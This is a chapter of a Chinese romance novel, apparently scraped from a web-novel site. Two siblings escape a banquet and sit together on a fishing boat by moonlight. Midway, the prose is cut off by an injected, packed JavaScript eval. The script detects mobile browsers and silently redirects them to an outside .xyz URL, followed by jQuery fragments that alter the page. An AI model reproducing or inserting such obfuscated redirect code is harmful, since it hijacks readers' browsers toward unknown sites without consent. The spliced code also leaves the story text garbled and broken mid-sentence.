柚安没有想到林鸣修会来找她。
他本应是今晚上最瞩目的人物,却意外地低调,低调到整个人有点阴森的感觉。
“想不想出去?”林鸣修凑近,低声在她耳边说,“我带你出去玩儿。”
柚安奇怪地看着他,“发了什么邪风了?”
在宴会上玩消失这种事,自己倒是驾轻就熟,可她不敢相信,会发生在事事完美可靠的林鸣修身上。
放眼璀璨的大厅,跺一跺脚就能让港股震翻天的人物都在,她知道,林鸣修将要在这些人面前立威,而父亲会替他背书。他们会宣布什么,怎样让这些人信服,柚安不清楚,也不关心,但她知道,今晚绝对是林鸣修的“大日子”。
哪有只愿意打仗,不愿意授勋的?
她看怪物似的看着他。
“去不去啊?”林鸣修不解释,只是一再抛出诱惑,“去上次的渔家吃蒸鱼吧,他们今天捕了条又肥又美的东星斑。”
柚安:“你饿了?”
想起那口绵密的鱼肉,胃里激荡起来。
“再炒个花蟹,熬一锅鱼汤,浓白的,比酒楼师傅做的,要鲜甜一百倍,保准你没吃过那样的美味。”林鸣修继续说。
他知道柚安经不住诱惑。
也不在意他的死活。
确实,她很快就动心了。
“是你说要去的,爸骂起人来,与我无关啊。”
“好了好了,我们走了。”
林鸣修很急迫,没等她答应,直接捉起她的手腕,避开社交场中心,大步往后院带。另一只手则顺过她手里的高脚杯,随手塞到一个前来搭讪她的公子哥手里,弄得那人一愣。
尹晴从几位太太那里脱身后,迫不及待地找她一双儿女,目光锁定,正好就看到这一幕。
林鸣修带走柚安的时候,嘴角勾着,那是他今晚第一次笑。
一路上,柚安很怕被人注意到,即便她知道,这是再正常不过的一副画面,但心里还是做贼般戚戚。
反观林鸣修,那几步路,走得有点不管不顾的意思。
就连拉她手腕也是,他是越来越大胆了。
但他握得不重,手掌覆住她腕骨一圈还有富余,掌心干燥温热,叫她反感不起来。
穿过几道回廊,宴会的灯火和喧嚣被落在了身后。
光线逐渐暗淡了,后花园曲折的小路弯弯绕绕,他们俩个都很熟悉,哪条岔道是捷径,能通向哪里,彼此都再清楚不过。不用说一句话,也能在每一个复杂的小径岔路,做出迅速而统一的选择。就连何时要穿越篱笆,矮身去寻捷径,也十分了然。
来自北部的季风带来初冬的寒意,风削过肌肤,柚安打了个冷颤。
林鸣修停下脚步,将西装外套脱下来,披在她光裸的背上。
柚安手臂穿过袖管的一刹那,回头看到了追出来的尹晴,后者正站在回廊上,凭栏望向他们。
眼神相接,柚安惊慌地做了个“嘘”的手势,脚步被不知情的林鸣修带着,往前趔趄了两下,很快消失在曲折的小径深处。
尹晴没有追,勉力去追也追不上,她凭栏站了许久,眉间微微蹙着。
他们来到一段围墙前面,柚安眼睛一亮,“我记得,这里监控坏啦!”
说着,朝墙上的摄像头作了个鬼脸。
小时候被林鹤堂勒令关禁闭,她就常常在林鸣修的掩护下,从这里翻出去。
林鸣修静静看她做鬼脸,没有戳破。
这么多年,怎么可能让这个漏洞一直存在着?
然而如今,他只需走上前,让摄像头清楚拍到他的脸,监控中心的人自然知道该怎么做。
接着,他像以前那样弯下身,让柚安踩在他的背上。
柚安有那么点不好意思,心里悄悄计算,和那时比,体重长了多少。
林鸣修等不及,说:“你快点。”
仿佛是只等不及要出门撒欢的金毛。
柚安将高跟鞋脱下来丢出围墙,而后踩上他的背,双手抓紧墙沿。林鸣修就抓着她的脚踝,将她托起来一点,她一用力,轻而易举地坐到墙沿上。
林鸣修往后退几步,助力小跑后,纵身一跃,抓住墙沿翻过去,借由墙外那颗桂花树,轻巧落地,而后伸臂,做出要接住柚安的姿势。
柚安是翻墙爬树的惯犯,她攀住树枝,慢慢爬下。最后一段没有下脚的枝桠了,就跟以前一样往下跳,林鸣修会接住她。
将要跳时,她嫌礼服的裙摆碍事,便一把将其掀起,用手捧住,一双腿露在外面,终于自由了。
俯身确认落脚地时,她看到林鸣修,又紧张又生气地瞪着她,耳根是红的,从上往下看得格外清楚。
倘若此刻有人路过,他脑袋就要开始冒烟了。
柚安想起来,以前翻墙的时候,如果穿着裙子,也会这样不顾形象,那时他是什么反应,她未曾留意,但这次应该有所不同,因为她跳下去的时候,林鸣修居然没有接稳。
“哎呀,”柚安跌向林鸣修怀里,出言怪他,“你到底在想什么啊,一个晚上心不在焉的。”
林鸣修直直站着,双手下意识做出环抱的姿态,却没有真正触碰到她,只是虚抱着。
确认她站好后,他往后退一步,看她的裙子放下来没有。
“大小姐,能不能顾一顾形象?”
“我穿了安全裤的!你看!”没等她展示,林鸣修抢先按住她的手,向前一步挡在她身前。
“给我放下去。”
他震怒,但对她能生的最大的气,也就是低斥这么一句。
转而将怒气发泄向墙头的摄像头。
他一盯,摄像头便默默转了个方向。
借着路灯,又去捡柚安丢出去的鞋子,有一只就快要丢到马路上了。
柚安在他身后偷笑,这种礼服哪能穿安全裤?她也没想过真的展示给他看,只是见他耳廓通红,想逗逗他罢了。
林鸣修弯腰将款带繁琐的高跟鞋拎起来,月光洒在他背上,分外皎洁。
本该享受觥筹交错,万众荣耀加身的人,此刻在路灯下检查她的鞋有没有被摔坏,鞋跟是否还牢固。柚安的心情有些复杂,想笑又笑不出来。
“谢谢。”她接过林鸣修为她捡回来的鞋,并没有穿上,拎着鞋光着脚在路上走。
一小段路程后,他们拦下一辆计程车,开往港口。
港口路灯稀疏,昏黄不明的微光照拂着海面上沉沉浮浮的船只,黑压压一片。锁链牵连的渔船一艘接一艘静静泊在口岸,像一列沉睡的大鱼。
他们摸黑踏进那艘去过的渔船,船里不见一人。
“做饭的老伯呢?”柚安问。
林鸣修坐在船沿上,长腿伸展,看着并膝坐在四方桌前矮凳上的柚安,好像一个等待学校开饭的小学生,工整又期待。
他忍住笑,多看了一会儿,等到她终于发现不对劲,这才开口:“这个点,别人不睡觉啊?”
“……你骗我?”柚安恼怒地瞪圆眼睛。
亏他把饭菜形容地这么香。
“骗子!”早就知道他是骗子,他不是好人!
林鸣修向后撑着船沿,看着被云遮住一半的月亮,笑着说:“我看你也不想待在那儿啊。”
“我是没什么热情,但也不至于抵触。”
“你抵触的,你不属于那里。”林鸣修看着她。
那里的氧气,对于她来说,太稀薄了。
“那你呢?你一会儿,爸发现你跑了,还给不给你立威了?”
“不给了吧,我不配。”林鸣修说。海风卷过,他的声音几分缥缈,但“我不配”三个字,还是听得清清楚楚。
“切,你不就是想……”
“我不想。为什么你们总是那么笃定我怎么想,我有什么企图,我野心有多大,凭什么这么想当然地臆断我?”
林鸣修有点生气了,他的野心,若非要说有,分明也只有她一个而已。
可是一旦说出口,就显得龌龊,这才是真正折磨他的地方。
柚安不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958148|174562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说话了,她不能昧着良心说,那你就说啊,说你不想要这一切,不想要四海,不需要爸替你操持操心。
因为她知道,他是被架上去的。整个过程,如他承诺,凡他知道的,她也都知道。
此刻,她可以感受到林鸣修的煎熬,隐约可以。
若想再深刻一点的话,就不得不触及他所说过的,喜欢她这件事。
她不愿意触及。所以深深吸了几口咸湿的海风,不让自己想下去。
见她迟迟不说话,林鸣修开口,“还生气?”
想起他眼睛都不眨一下,就编出的东星斑、炒花蟹、鱼汤,怎么可能不生气?
“你说呢?”柚安说。
“带你去深水埗夜市好不好?”
“当然不行了,我们穿成这样。”
和上次已经不一样了,他们两个的名字如今皆是八卦杂志,和网络热门的常客,被拍到,又是一个好故事。
“那怎么办?这样吧,你要是生气,可以推我下去。”林鸣修双臂伸展,支着身后的船舷,确实是很方便“遇害”的姿势。
柚安失笑。
风大一些的时候,船身会晃荡起来,坐在鱼背上似的,林鸣修面向月亮,月光勾勒出他的轮廓,锋利中沾染了一丝柔软,很反差,也很蛊惑。
蛊惑到,她竟想要伸手抚平他眉间的皱褶。
即便那皱褶只是浅浅的,他看上去,比在交际场上时,要放松得多了。
船身轻晃,她向他走去,这个过程中,林鸣修已经做好了被推下去的准备,她可以这样欺负他的。
她抬手的时候,林鸣修下意识闭上眼睛,然而她只是抬手至他眉间,然后轻轻地抚上去。
那瞬间,林鸣修的眼睫狠狠一颤。
接下来的几秒钟,一切都静止了。
林鸣修睁开眼睛,双臂摊开,一动不动,深深看着她,他的眸色如同深渊,万物静止的世界中,唯有那里的漆黑海浪翻滚不休。那些深埋的动情和欲望,袒露无余。
柚安经不住,先收回了手,她怕再多看一秒,就会被某种东西吸进去。
可是风大好,不止船身,全世界都在失去重心,稍不小心就要摔倒。她下意识伸手,撑在林鸣修的胸膛上,身体进到就快要相贴,隔着薄薄的衬衫,他胸膛温热,传出有力地心跳。
林鸣修没有伸手扶她,仍保持那个姿势,“我说准你推我下去,没说准你这样。”
分明感觉到他心跳猛烈,语气却这样地淡。
“……你皱眉的样子难看得很。”柚安手一撑,与他拉开距离,问他,“现在怎么办?”
“再等等吧,”其实想说,再陪陪我吧,但他说,“你要是觉得无聊,我们就回去。”
“不会无聊。”柚安知道他想捱过宴会再回去。
接下来的时间,林鸣修一直坐在船舷仰头看月亮,他的心事向来很深,柚安不作过问。
她拎着裙摆跳上木栈道,坐在边沿,将脚泡在海水里。
光脚走了很久,她细细洗去脚面的泥沙,海水温柔地吻过脚脖子,月光在脚边浮动流淌,披着林鸣修的衣服,海风也显得不那么料峭,一切都很舒服。
虽然是被林鸣修哄出来的,但这一切于柚安来说,何尝不是享受?她也不想回去,宁可坐在这里发呆,倾听节奏单调的涛声,而不是那些炫技的钢琴曲。
脚在水面晃荡着,不时踢几脚水花,看月亮看得乏了,她就扭头去看林鸣修在干嘛。
林鸣修没看月亮,他看向这边,不知道看了多久了。
他们相隔不远,但是表情看不真切,朦朦胧胧的,所以他没有立刻撤回视线。她也没有,装作看风景,看了一周,视线才绕回自己脚面。
洁白的脚丫藏在水底下,悄悄收紧脚趾。
她忽然猜到林鸣修在计划什么了。
那个鬼使神差的想法太离谱,也太大胆,在脑海里一秒掠过,便被她仓促掐死了。
胡思乱想也要有个限度,她开始祈祷今晚平安度过。